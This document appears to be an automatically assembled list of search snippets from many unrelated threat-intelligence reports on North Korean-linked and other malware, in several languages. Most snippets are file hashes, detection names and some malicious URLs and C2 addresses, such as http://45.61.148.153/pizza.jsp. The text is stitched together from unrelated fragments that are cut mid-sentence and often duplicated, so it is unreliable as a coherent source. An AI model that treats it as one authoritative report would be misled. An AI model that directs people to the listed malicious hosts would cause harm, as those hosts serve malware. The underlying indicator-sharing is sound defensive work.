65e7d2338735ec04fd9692d020298e5a7953fd8d 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains…","…030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d…","…two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL): P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14 ), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection (see Figure 4).…","…Gunra Ransomware Attack Cases ⚫ 6512bc560bc2199c24f946b67c5bf1d5 ⚫ b3c4a6abd9c39ccae8a628f2ce2513b5 D.…","…MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a Rich Hash 3be2401da21dfed104c9aa52bb620344 SSDEEP 12288:oWujjXB8pkTnyDjVBRxQ1UdiG/Mclbvc/Z:oWujFl2JFQ1Udi2MKc/Z Behavioral…","…(2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8e5cac0159a31ea808973508ce164e1d aa8ba9a029fa98b868be66b7d46e927b URL…","…(2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8fef5eb77e0a9ef2f97591d4d150a363 aa8ba9a029fa98b868be66b7d46e927b URL https://1drv.ms/i/s!AhXEXLJSNMPTbfzgUMxNbInC6…","…Application Recently, Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan: Another #Lazarus #macOS #trojan md5: 6588d262529dc372c400bef8478c2eec https://unioncrypto.vip/ Contains code: Loads Mach-O from memory and execute it / Writes to a file and execute it @patrickwardle…","…Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan: Another #Lazarus #macOS #trojan md5: 6588d262529dc372c400bef8478c2eec https://unioncrypto.vip/ Contains code: Loads Mach-O from memory and execute it / Writes to a file and execute it @patrickwardle…","…don’t infect yourself! Background Recently a new piece of macOS malware was discovered: Another #Lazarus #macOS #trojan md5: 6588d262529dc372c400bef8478c2eec https://unioncrypto.vip/ Contains code: Loads Mach-O from memory and execute it / Writes to a file and execute it @patrickwardle…","…ac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab75a54c3d6ed01ba9478d9fecd443af…","…dumping Exploitation of vulnerability Process injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains…","…294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c Malicious Airbus Document SHA256 65f7211c3d7fde25154b4226a7bef0712579e0093020510f6a4bb4912a674695 Malicious Rheinmetall Document 3 SHA256 ebd6663d1df8228684a0b2146b68ce10169fc41c5e91c443fdf6f844f5ffeb62…","…04bc9e74c65b6df6f6c4ba90db3d85ca9b2dda4c 79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 AccountStore.bak 66037fc3c489d099107e2d3cddd33569 a7e34ed64337893752eadfbfae9a516c8b482329 c1d6a5940045b7ff0063b85d89750979d8501d52815b0134fb556f2c12210369…","…73d6694a0339cc4083f66395b6b4b3da324e2113 6f736eac915c2b647bfbba9e5dccf0cb 660bfbeeaf674e4e95c43bb61d7d0aec88154527e1218e51c1cb75d77c8acdda 6251126c3a44d5f8a72f0790ae8aba1b195cb5b2 610303b58eb5d039c15061e48b743d17…","…8433a94aedb6380ac8d4610af643fb0e5220c5cb fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 660ea9b8205fbd2da59fefd26ae5115c 769383fc65d1386dd141c960c9970114547da0c2 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67…","…that was abused in the Windows binary. Name(s) libffmpeg.dylib Size 4.7MB (4979136 Bytes) File Type Mach-O MD5 660ea9b8205fbd2da59fefd26ae5115c SHA1 769383fc65d1386dd141c960c9970114547da0c2 SHA256 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 The…","…plugin.msc # Extracted Shellcode SHA256: 95f4954ad79fa972bfd4fe217608ed5216c674e8ae6662cb8ffb31dbed50ec63 MD5: 66126fa42accfb183f72e25b20750b97 # MMC Console File ID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Network Indicators # C2 Domains…","…6e95d94d5d8ed2275559256c5fb5fc6d01da6b46 SHA256 hash: f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 Chain: 6624c7b8faac176d1c1cb10b03e7ee58a4853f91 Issuer: CN=Tableau Software Inc. NotBefore: 5/27/2023 11:15 AM NotAfter: 12/31/2039 4:59 PM Subject: CN=Tableau Software Inc. Serial:…","…Hash-SHA256 616e60f031b6e7c4f99c216d120e8b38763b3fafd9ac4387ed0533b15df23420 Hash-SHA256 66334f10cb494b2d58219fa6d1c683f2dbcfc1fb0af9d1e75d49a67e5d057fc5 Hash-SHA256 8b52f88f50a6a254280a0023cf4dc289bd82c441e648613c0c2bb9a618223604 Hash-SHA256…","…IOCs File name MD5 SHA-1 SHA-256 AccountStore.bak 665ce00318552c6ddc22e2f5e59cd516 71e5bb0e7f00bb11518e8d7f619f2b6c9fa09eaf 7e454b22987d8901ab7fc2983d335da6ed4ac048298e3bcb7e3a123352bfc1da AccountStore.bak…","…response strategies 29 Indicators of Compromise Filename File Format SHA256 Delivery Method 스트레스설문지 .egg (Stress Survey.egg) EGG 66710F1E5FDFCA8BBD4681E979BF42192B118426DB6891D43DED6F57A2115D75 LinkedIn message 스트레스설문지 .jse (Stress…","…over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control…","…connect to the domain. 1faaa939087c3479441d9f9c83a80ac7ec9b929e626cb34a7417be9ff0316ff7 Tags backdoortrojan Details Name 667CF9E8EC1DAC7812F92BD77AF702A1 Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 667cf9e8ec1dac7812f92bd77af702a1 SHA1…","…used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers…","…for analysis. 9e4bd9676bb3460be68ba4559a824940a393bde7613850eda9196259e453b9f3 Tags trojan Details Name 668D5B5761755C9D061DA74CB21A8B75 Size 2212864 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 668d5b5761755c9d061da74cb21a8b75 SHA1…","…Name Kupay.exe Size 97686016 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 668d696582f9c00029e2e8253470e9db SHA1 e83ebe43da7bbfb9c95d34163383d1b3926e663f SHA256 1b60a6d35c872102f535ae6a3d7669fb7d55c43dc7e73354423fdcca01a955d6 SHA512…","…Fake Capsule (AlyacMonitor.db) Blue Estimate (NewACt.dat) Blue Estimate 2 (Hero.dll) MD5 66B73FBA4E47B3184EDD75B0CE9CF928 E54B370D96CA0E2ECC083C2D42F05210 C315DE8AC15B51163A3BC075063A58AA Time-Stamp 2019.01.06 14:55:36 UTC 2019/11/19…","…IOCs MD5 66c4e2dd235c4d8d31abaf96e051585e - KAIA+지갑+파일+및+주소+송부드립니다..eml 77f131bc8f660f85812c0d2e0da8e77e - [국세청]+회원님께+도착한+고지서를+확인하세요..eml 003ea91e9f52ecfdc3aadb2732e9b54c -…","…57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c2…","…침해 지표 (Indicator of Compromise) MD5 9e94126e8a26efd10b2a5b179d64be90 35b4f28dd2d50dbf48e5c63c3ef5efb7 66e8096b9b061550314a82654ce0fabd 71d5270d1a165bb6dec144e16089450d 456d05566fc3391e195a5f9cb346c92c 25156a29ad636eb708104ec69b05e54b ca93591a9441a2ade70821f67292d982…","…样本四 样本信息 文件名 Паспорт.doc（护照） Hash 66fba06e965f9a6ea192db7f452ea9b6 文件上传时间 2022-06-21 08:18:37 UTC 相关分析 宏代码如下，执行label1中的指令并将诱饵文档中的字体颜色调整为黑色 label1中的Powershell指令如下…","…MD5 f1b542971711bf229d02f5e385225a8d SHA-256 ae4dc41b8f5664b5aef5d82be55624d53be4ead0a23b029ae290e02c8d5f9e4f SHA1 67495e04457f66065470ab96c88d55e4ec3bf51e Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…(GUI) Intel 80386, for MS Windows MD5 10b28da8eefac62ce282154f273b3e34 SHA1 25991d00eb1b1204b0066d5aeb79ac691047d7f0 SHA256 675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 SHA512…","…해당 파일에 대해 다음과 같이 진단하고 있다. [파일 진단] Dropper/JS.Generic Backdoor/Win.AppleSeed.R499775 MD5 1ae2e46aac55e7f92c72b56b387bc945 67e7e8600a57e9430a43bf8c5f98c6bd 7d445b39a090b486aaa002b282b4d8cb ec9dcef04c5c89d6107d23b0668cc1c1 URL…","…진단] Backdoor/JS.Konni (2023.12.06.03) Backdoor/Win.Konni (2023.12.06.03) Backdoor/PowerShell.Konni (2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19…","…Backdoor/JS.Konni (2023.12.06.03) Backdoor/Win.Konni (2023.12.06.03) Backdoor/PowerShell.Konni (2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19…","…(2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…MD5 Hash 10780939962b54addc9d31f57d80edfc 1523a2fcc901965ab4568d9fe829e4af 500e0bc0d7579fb338912770964076fe 685bfc6b2c29fbc16cfad908894add55 7a53089053b1381742856a5cf2b95f8b 8db2f20b719dcb7029d6296505622093 900e832c10d851bbdef3fb191a15db0e…","…Name 688890DDBF532A4DE7C83A58E6AA594F Name ss.exe Size 1102926 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5…","…IP address: 23.254.226.90 HLOADER SHA256 hashes: 2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1 689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94 c6a48365c3db9761bd60981bdcdd87aced23d8e60067caa30fee501bf4b47b84 a03d13c9825e150810e6e6aaf053d71ec5a53b86581414dd982a74d4a8bc5475…","…60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E 63FB47C3B4693409EBADF8A5179141AF5CF45A46D1E98E5F763CA0D7D64FB17C 689CFAA9319F3F7529A31472ECF6B2E0CA6891B736DE009E0B6C2EBAC958CC94 69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C 6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59…","…Name EngineDll.dll Size 166400 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 68fa29a40f64c9594cc3dbe8649f9ebc SHA1 b24f6c60fa4ac76ffc11c2fcee961694aeb2141b SHA256 19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35 SHA512…","…IOC SHA256： 0fe69e67286203ca2dcd080b4c25ab76fc4ca925e6207b193d47f02da1481843 6904be55212c4464ae09dda50fad1b398c4693198bb6a91837421fad873300bb 73f684b87139927012db12ec8d92824bd2404102e17ec427b302c79a4314d439 8b2871e08f6a88df33ac198a2db87bc44de19100da44e7c071112da07549f204 8eec3a…","…MD5 SHA1 SHA256 Malicious ICO File 69455ba3bfd2d8e3ade5081368934945 11ae67704ea0b930b2cc966e6d07f8b898f1a7d2 f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 MD5 SHA1 SHA256 Malicious ICO…","…Filename: Anti virus service.lnk CC dowhelsitjs.netau.net 2017 Campaign A: Dropper SHA256: 69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0 Filename: Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.scr Dropped #1 SHA256:…","…63FB47C3B4693409EBADF8A5179141AF5CF45A46D1E98E5F763CA0D7D64FB17C 689CFAA9319F3F7529A31472ECF6B2E0CA6891B736DE009E0B6C2EBAC958CC94 69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C 6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59 7667D1B8FCC4F712084E3E3F8B4AB505AB150C52AEA7B219249EC508B4B0E224…","…Size 348160 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 5c0c1b4c3b1cfd455ac05ace994aed4b SHA1 69cda1f1adeeed455b519f9cf188e7787b5efa07 SHA256 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 SHA512…","…Size 97682432 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 6c36c8efe2ec2b12f343537d214f45e8 SHA1 69eb27395e8f23b592547b69fbaf19ad03d6a89a SHA256 78b56a1385f2a92f3c9404f71731088646aac6c2c84cc19a449976272dab418f SHA512…","…x86 rust Stage 3 Version B Mach-Os SHA1 Arch Lang 14165777bc48b49eb1fa9ad8fe3cb553565c26c2 FAT rust 69f24956fb75beb9b93ef974d873914500e35601 ARM rust 8a1b32ab8c2a889985e530425ae00f4428c575cc FAT rust 8f7da0348001461fc5a1da99b89c571050de0aff x86 rust…","…\"file\": {\"hash\": {\"md5\": [\"029456110598a8fddefbf942d6f50cc4\"], \"sha1\": [\"69f24956fb75beb9b93ef974d873914500e35601\"], \"sha256\": [\"fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…Type Microsoft Word 2007+ MD5 e7aa0237fc3db67a96ebd877806a2c88 SHA1 0ecc687d741c7b009c648ef0de0a5d47213f37ff SHA256 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 SHA512…","…0ed643a30a82daacecfec946031143b962f693104bcb7087ec6bda09ade0f3cb 41d4f7734fbf14ebcdf63f51093718fd5a22ec38a297c0dc3d7704a3fb48b3f9 6a3839788c0dafe591718a3fb6316d12ccd8e82dbcb41ce40e66b743f2dd344d MoonPeak v2 148c69a7a1e06dc06e52db5c3f5895de6adc3d79498bc3ccc2cbd8fdf28b2070…","…IoC (Indicator of Compromise) MD5 f5842320e04c2c97d1f69cebfd47df3d 6a4c3256ff063f67d3251d6dd8229931 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 01…","…V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153 AhnLab TIP 를 구독하시면 연관 IOC 및…","…latest version to prevent malware infection in advance. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153 Gain access to related IOCs…","…따라서 출처가 불분명한 파일은 실행을 자제하고, 파일의 확장자를 반드시 확인하는 등 각별한 주의가 필요하다. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…files from unknown sources and always check the file extension before opening them. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…mechanism). 546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 Tags downloaderdroppertrojan Details Name 6AB301FC3296E1CEB140BF5D294894C5 Size 259584 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 6ab301fc3296e1ceb140bf5d294894c5 SHA1…","…of Compromise See below for Andariel IOCs. The following include observed MD5 hashes: 88a7c84ac7f7ed310b5ee791ec8bd6c5 6ab4eb4c23c9e419fbba85884ea141f4 97ce00c7ef1f7d98b48291d73d900181 079b4588eaa99a1e802adf5e0b26d8aa 0873b5744d8ab6e3fe7c9754cf7761a3 0d696d27bae69a62def82e308d28857a 0e…","…to address and mitigate this threat with utmost vigilance and strategic response. Indicators MD5: 9216198a2ebc14dd68386738c1c59792 6ad6232bcf4cef9bf40cbcae8ed2f985 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b7dad90ecc731523e2eb7d682063a49 51…","…5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a 73ff669fc282653bd6c42cf87ade9337 7f12fa589f56f6203c692715b3958d30 8406075af0a1e9ec09bafdc0de01f138…","…McAfee のリアルタイムスキャンの停止 McAfee 関連プロセスの停止 派生・関連ファイル ファイル名 MD5 Hash 概要 usbdrv3_32bit.sys (elrawdsk.sys) 6AEAC618E29980B69721158044C2E544 Eldos社ドライバ usbdrv3_64bit.sys (elrawdsk.sys) 86E212B7FC20FC406C692400294073FF Eldos社ドライバ kph.sys N/A…","…최초 유포는 주로 스피어 피싱 메일을 통해 이루어지므로 출처가 불분명한 사용자의 첨부 파일은 되도록 열지 않도록 주의가 필요하다. MD5 39b39ca9cbf9b271590d06dfc68a68b7 6b10482c939fc33c3a45a17f021df32b 851e33373114fef45d0fe28c6934fa73 9ac572bdca96a833a40edcaa91e04c2b c99f6d1c7c0d55ce1453dd08c87ee2b4 URL…","…(2023.05.15.02) – HackTool/Win.Proxy.C5427508 (2023.05.15.02) MD5 000130a373ea4085b87b97a0c7000c86 6b2062e61bcb46ce5ff19b329ce31b03 URL http://45.58.52.82/cl.exe http://45.58.52.82/up.dat http://45.58.52.82:8443/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석…","…(2023.05.15.02) – HackTool/Win.Proxy.C5427508 (2023.05.15.02) MD5 000130a373ea4085b87b97a0c7000c86 6b2062e61bcb46ce5ff19b329ce31b03 URL http://45.58.52.82/cl.exe http://45.58.52.82/up.dat http://45.58.52.82:8443/ Gain access to related IOCs and…","…3c1e4c334629b20e21b8ab08b8aa19db738f2ed761290ffdd26665cd61cb7807 7c73619ff8d5e4ed3b29b7ae71a69602df4071fd8c1029f9674e9978cdc03de9 6b90e2a3f0ad8819b5afe67bf13451c9782af26a9f2bdac3a0e042569054e5fd 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8…","…Database, Number of Pages: 200 MD5 afdf3dd62dafd401be4bbeca65b42635 SHA1 8b45d12ed8c058ea0ce3122da9a82b9fb045d6a3 SHA256 6b945159b4c816ec5e212ba125eb01938234205d8d3e57fca46de7c064c628f8 SHA512…","…MD5 95d13d6054d18f48328bc31e2eee68f7 SHA-256 3bc549b5b59a5f6f98d53bb9059667b8954b038641630fd68455155acbb25af7 SHA1 6b9c1f4fff75be430f3e76c28d50493ab30e751e Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…Hash-SHA256 16493ecc4c4bc5746acbe96bd8af001f733114070d694db76ea7b5a0de7ad0ab Hash-SHA256 6bf1839a7e72a92a2bb18fbedf1873e4892b00ea4b122e48ae80fac5048db1a7 Hash-SHA256 b3c39aeb14425f137b5bd0fd7654f1d6a45c0e8518ef7e209ad63d8dc6d0bac7 Hash-SHA256…","…293b1a7e923be0f554ec44c87c0981c9b5cf0f20c3ad89d767f366afb0c1f24a PowerShell scripts 6bf8a19deb443bde013678f3ff83ab9db4ddc47838cd9d00935888e00b30cee6 72a25d959d12e3efe9604aee4b1e7e4db1ef590848d207007419838ddbad5e3f 15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b…","…7667d1b8fcc4f712084e3e3f8b4ab505ab150c52aea7b219249ec508b4b0e224 UpdateAgent SHA256 hash: 6c121f2b2efa6592c2c22b29218157ec9e63f385e7a1d7425857d603ddef8c59 Domains: msstorageazure.com officestoragebox.com visualstudiofactory.com azuredeploystore.com msstorageboxes.com…","…689CFAA9319F3F7529A31472ECF6B2E0CA6891B736DE009E0B6C2EBAC958CC94 69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C 6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59 7667D1B8FCC4F712084E3E3F8B4AB505AB150C52AEA7B219249EC508B4B0E224 87C5D0C93B80ACF61D24E7AAF0FAAE231AB507CA45483AD3D441B5D1ACEBC43C…","…MD5_1 = \"e7718609577c6e34221b03de7e959a8c\" SHA256_1 = \"bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1\" MD5_2 = \"6c2d15114ebdd910a336b6b147512a74\" SHA256_2 = \"58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d\" strings: $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24…","…- 고객현황_202604.lnk Trojan.Agent.LNK.Gen D6B31850E1DB191A6F9056DD5C4B55DD MD5 샘플 3 - Anlab Auto.vbs (지속성) Trojan.VBS.Agent.gen 6C35EB0E29DE1D24824DD3A79436E1BC MD5 샘플 3 - po1ker.bat (디코더) Trojan.Script.Agent AB5C0CC1F5D49E67B243D6145FD93CF8 MD5 샘플 3 - sp80poa (암호화된 명령)…","…Name Dorusio.exe Size 97682432 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 6c36c8efe2ec2b12f343537d214f45e8 SHA1 69eb27395e8f23b592547b69fbaf19ad03d6a89a SHA256 78b56a1385f2a92f3c9404f71731088646aac6c2c84cc19a449976272dab418f SHA512…","…of Compromise (IoCs): Hashes detected as BKDR_RATANKBA.ZAEL-A 1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471…","…10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01…","…timestamp may indicate the date of malware creation). MD5 Timestamp 81c3a3c5a0129477b59397173fdc0b01 2017-05-26 23:37:04 6cb34af551b3fb63df6c9b86900cf044 2017-06-09 17:24:30 21694c8db6234df74102e8b5994b7627 2017-11-07 17:54:19 5ad7d35f0617595f26d565a3b7ebc6d0 2015-10-24 01:52:11…","…ff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b3…","…Size 184853 bytes Type Microsoft Word 2007+ MD5 6cea7290883f0527dbd3e2df64462684 SHA1 8d179113e963d81adbf8d39ceff456afac3dae16 SHA256 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e SHA512…","…파일이 발견되었다 . 이때 첨부된 HWP .exe 파일은 다 른 악성코드를 메모리에서 실행 하 는 로더 (Loader) 역할을 한다 . 최종적으로 메모리에서 실행되는 악성코드 ( md5: 6cec7de9d4797895775e2add9d6855ba ) 와 유사한 변형 이 2016 년 11 월에 발견되었다 ( md5: 42f216cc32cf2b14e6daea0816da8c50 ) . 2 017 년 2 월 에는 이력서 로 가장한 한글 문서에서 이…","…03d12b 57ce525263ce8b9bb29773dd2a8389f431bd1d0ea862b3815be6bb1a44eeb98d 5a9086a16870bde828b8f50be08bdcaa01719945aba2bbc4a50bc1f7c3caf949 6d0aa8ebc1287eb55fdca521c2c70c8e9a9f39835f8e257280898997ad6c1d76 801789ec161b7749c8d9f59049754e09e8b324de36c6fc0b634d61814baf43b1 81554ae36513b4a637d72db864f31e39ef3ae35ad402fb170f5e5fddee2d4589 82f446…","…x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 ffc2a7073ba362b295357ac6e782634a SHA1 6d13e85cd812e249ab950ec405e84289de9cfe5e SHA256 7ea6391c11077a0f2633104193ec08617eb6321a32ac30c641f1650c35eed0ea SHA512…","…650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5…","…SHA-256 e13ad0ebaac36ec363eba5760e69cb995dcae7dcc6afc01bbb31642c3c175d61 6d84e311cf0d5ed3c6ab05d50d61d3ef0de27cef786ba99846f807c1ea65e10b SHA1 baa69876baa6861db5736c58d2eded93dd1bec6e be9b79d09ba059caf88d6512f51be52557fa4300 URL…","…: resource_DLL (Main Malware) MD5 : C315DE8AC15B51163A3BC075063A58AA SHA1 : 6F715EB6815E9A44BF9A48D89C1B92F590F1FA1A SHA256 : 6D870937675B98355747ECFDF4768B274191B4679DEDE4B93828D2EBD7198883 C2 : http://happy-new-year.esy](http://happy-new-year.esy/).es 공유하기 게시글 관리 Beyond The Binary 댓글…","…Size 537616 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 549db64ceaebbbdd9068d761cb5c616c SHA1 6d91ce7b9f38e2316aa9fb50ececc02eadc4cd70 SHA256 755bd7a3765efceb8183ffade090ef2637a85c4505f8078dda116013dd5758f3 SHA512…","…Indicators of Compromise File Indicators # MSC Loader SHA256: f239e3fedc4926ff3cf58f95bacff9d8f11289e58036ed507ab3f435dce1b2b1 MD5: 6db53d66629f95a2d830a4f56e8c69f2 SHA1: 253d232e1485e7e60ff3380999412c773d0a9a14 File: plugin.msc # Extracted Shellcode SHA256:…","…MD5 V3진단명 V3진단버전 1 6dbc4dcd05a16d5c5bd431538969d3b8 Backdoor/Win32.Akdoor 